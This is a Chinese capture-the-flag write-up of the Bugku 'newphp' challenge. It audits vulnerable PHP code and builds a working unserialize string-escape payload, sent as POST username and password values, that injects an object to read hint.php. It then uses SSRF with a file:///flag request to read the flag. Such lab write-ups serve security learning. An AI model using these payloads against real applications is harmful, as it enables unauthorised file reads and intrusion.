bugku newphp 笔记

代码审计

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

两个类一个evil和User,evil中的__destruct()魔术方法会在结束时读取$hit文件内容并base64编码输出

两个函数write和read

write:将chr(0).'*'.chr(0)替换成\0\0\0

read:将\0\0\0替换成chr(0).'*'.chr(0)

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

将post传入的username和password序列化一个User类

过滤flag,is

再反序列化

构造payload

本来想着用pop链User->evil结束时读取hint.php的值

<?php
class evil{
    public $hint;
}
class User{
    public $username;
    public $password;
}
$a=new evil();
$a->hint="hint.php";
$b =new User();
$b->username=$a;
$b->password='123';


$payload=serialize($evil);

正常写法应该让username等于对象$a,但是现在不是直接反序列化,而是先序列化一个User类,

就需要再post传参$a给username,众所周知对象是不能直接打印的,所以这个思路直接放弃

只能利用read函数的php反序列逃逸

read:将\0\0\0替换成chr(0).'*'.chr(0),\0\0\0是六个,chr(0).'*'.chr(0)是三个,一替换就逃逸了三个字符

user类序列化后是

O:4:"User":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}

需要逃逸到password的值才可以随意操控,也就是需要逃逸";s:8:"password";s:1:"这23个字符

也就是需要三组\0\0\0逃逸24个字符,多出的字符在password值的前面随便加一个字符

password的值应该为a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

paload

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

然后出现base64编码的字符串,解码内容是

 

访问/index.cgi,然后是这个页面

ssrf

利用file协议读取根目录下flag

name= file:///flag

前面加一个空格,看了别的wp说命令是curl file:///flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值